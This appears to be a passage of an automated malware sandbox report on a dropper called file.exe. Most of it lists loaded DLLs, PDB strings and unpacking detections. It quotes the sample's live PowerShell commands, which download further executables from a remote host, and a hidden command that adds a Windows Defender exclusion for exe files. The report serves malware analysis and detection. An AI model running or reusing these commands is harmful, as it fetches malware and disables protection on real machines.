Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Section loaded: oledlg.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Section loaded: samcli.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Section loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Section loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Section loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Section loaded: pla.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Section loaded: pdh.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Section loaded: tdh.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Section loaded: cabinet.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Section loaded: wevtapi.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Section loaded: shdocvw.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winbrand.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: shdocvw.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: linkinfo.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntshrui.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cscapi.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Section loaded: acgenral.dll
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Section loaded: samcli.dll
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Section loaded: msacm32.dll
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Section loaded: aclayers.dll
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: acgenral.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: samcli.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: msacm32.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: aclayers.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: drprov.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: ntlanman.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: davclnt.dll
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Section loaded: davhlpr.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: acgenral.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winmm.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: msacm32.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winmmbase.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winmmbase.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: security.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: olepro32.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: samcli.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: schedcli.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: logoncli.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: msxml6.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Section loaded: pnrpnsp.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe

File written: C:\Windows\System32\GroupPolicy\gpt.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\i1.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: 3C:\mudejugohiya\silufudavug\xokazaxavu\x.pdb source: i1.exe, 00000006.00000000.2037736814.0000000000412000.00000002.00000001.01000000.00000007.sdmp, i1.exe, 00000006.00000002.2388361021.00000000041BE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdbP source: u5do.0.exe, 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.8.dr
Source:	Binary string: nss3.pdb@ source: u5do.0.exe, 00000008.00000002.2551947937.000000006BEDF000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: powershell.exe, 00000007.00000002.2069013279.0000000007A1C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\SVN\BTDevManager_HUAWEI\vs2017_BTDevManager\BTDevManager\bin\x64\Win10 Release\RtkBtManServ.pdb source: i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: run.exe, 0000000B.00000002.2251267276.000000000430B000.00000004.00000020.00020000.00000000.sdmp, run.exe, 0000000B.00000002.2252546783.0000000004B11000.00000004.00000001.00020000.00000000.sdmp, run.exe, 0000000B.00000002.2251506595.0000000004660000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449748547.00000000059B0000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2448964853.00000000054D4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: run.exe, 0000000B.00000002.2251267276.000000000430B000.00000004.00000020.00020000.00000000.sdmp, run.exe, 0000000B.00000002.2252546783.0000000004B11000.00000004.00000001.00020000.00000000.sdmp, run.exe, 0000000B.00000002.2251506595.0000000004660000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449748547.00000000059B0000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2448964853.00000000054D4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.8.dr
Source:	Binary string: mozglue.pdb source: u5do.0.exe, 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: C:\Users\ICP221\perforce\_perforce\Installer\UniversalInstaller\2.5.30\Project\UIxStandard\Win\Release\UniversalInstaller.pdb source: run.exe, 0000000B.00000002.2248865521.000000000049C000.00000002.00000001.01000000.0000000D.sdmp, run.exe, 0000000B.00000000.2182482362.000000000049C000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbB source: powershell.exe, 00000007.00000002.2062470395.0000000003343000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: #C:\jipogebaye\yonuyujimecog-fofonusipec-walevumeluru9.pdb source: i1.exe, 00000006.00000003.2089591911.0000000005F01000.00000004.00000020.00020000.00000000.sdmp, u5do.0.exe, 00000008.00000000.2087804729.0000000000412000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 00000007.00000002.2069013279.0000000007A26000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2069013279.0000000007A1C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: browser_broker.pdb source: i3.exe, 0000000E.00000003.2213225511.0000000002068000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\ICP221\perforce\_perforce\Installer\UniversalInstaller\2.5.30\Project\UIxStandard\Win\Release\relay.pdb source: run.exe, 0000000B.00000002.2256962907.0000000068BF7000.00000002.00000001.01000000.0000000E.sdmp, relay.dll.6.dr, relay.dll.11.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.8.dr
Source:	Binary string: notepad.pdbGCTL source: i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp, notepad.exe.14.dr
Source:	Binary string: notepad.pdb source: i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp, notepad.exe.14.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 00000007.00000002.2062470395.00000000032E9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: browser_broker.pdbUGP source: i3.exe, 0000000E.00000003.2213225511.0000000002068000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\jipogebaye\yonuyujimecog-fofonusipec-walevumeluru9.pdb source: i1.exe, 00000006.00000003.2089591911.0000000005F01000.00000004.00000020.00020000.00000000.sdmp, u5do.0.exe, 00000008.00000000.2087804729.0000000000412000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: m.Core.pdb+ source: powershell.exe, 00000007.00000002.2068811411.00000000079F5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000007.00000002.2069013279.0000000007A26000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2069013279.0000000007A10000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: u5do.0.exe, 00000008.00000002.2551947937.000000006BEDF000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: C:\mudejugohiya\silufudavug\xokazaxavu\x.pdb source: i1.exe, 00000006.00000000.2037736814.0000000000412000.00000002.00000001.01000000.00000007.sdmp, i1.exe, 00000006.00000002.2388361021.00000000041BE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 00000007.00000002.2069013279.0000000007A10000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe

Unpacked PE file: 8.2.u5do.0.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\i1.exe	Unpacked PE file: 6.2.i1.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Unpacked PE file: 8.2.u5do.0.exe.400000.0.unpack

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000','stat')"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=444', 'i2.bat')"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=456','i3.exe')"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000','stat')"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=444', 'i2.bat')"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=456','i3.exe')"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

Source: browser_broker.exe.14.dr

Static PE information: 0x80C66588 [Fri Jun 18 14:56:08 2038 UTC]

Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe

Code function: 8_2_00416240 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

8_2_00416240

Source: relay.dll.11.dr	Static PE information: real checksum: 0x18dd31 should be: 0x1877ea
Source: INetC.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x69a0
Source: relay.dll.6.dr	Static PE information: real checksum: 0x18dd31 should be: 0x1877ea
Source: i1.exe.5.dr	Static PE information: real checksum: 0x77290 should be: 0x77292
Source: file.exe	Static PE information: real checksum: 0x0 should be: 0xd760
Source: JKJKJJDBKE.exe.8.dr	Static PE information: real checksum: 0x0 should be: 0x8897e
Source: i3.exe.9.dr	Static PE information: real checksum: 0x0 should be: 0x6aac36
Source: hmgv.12.dr	Static PE information: real checksum: 0x0 should be: 0xc411c
Source: tiktok[1].exe.8.dr	Static PE information: real checksum: 0x0 should be: 0x8897e

Source: u5do.3.exe.6.dr	Static PE information: section name: .didata
Source: freebl3.dll.8.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.8.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.8.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.8.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.8.dr	Static PE information: section name: .didat
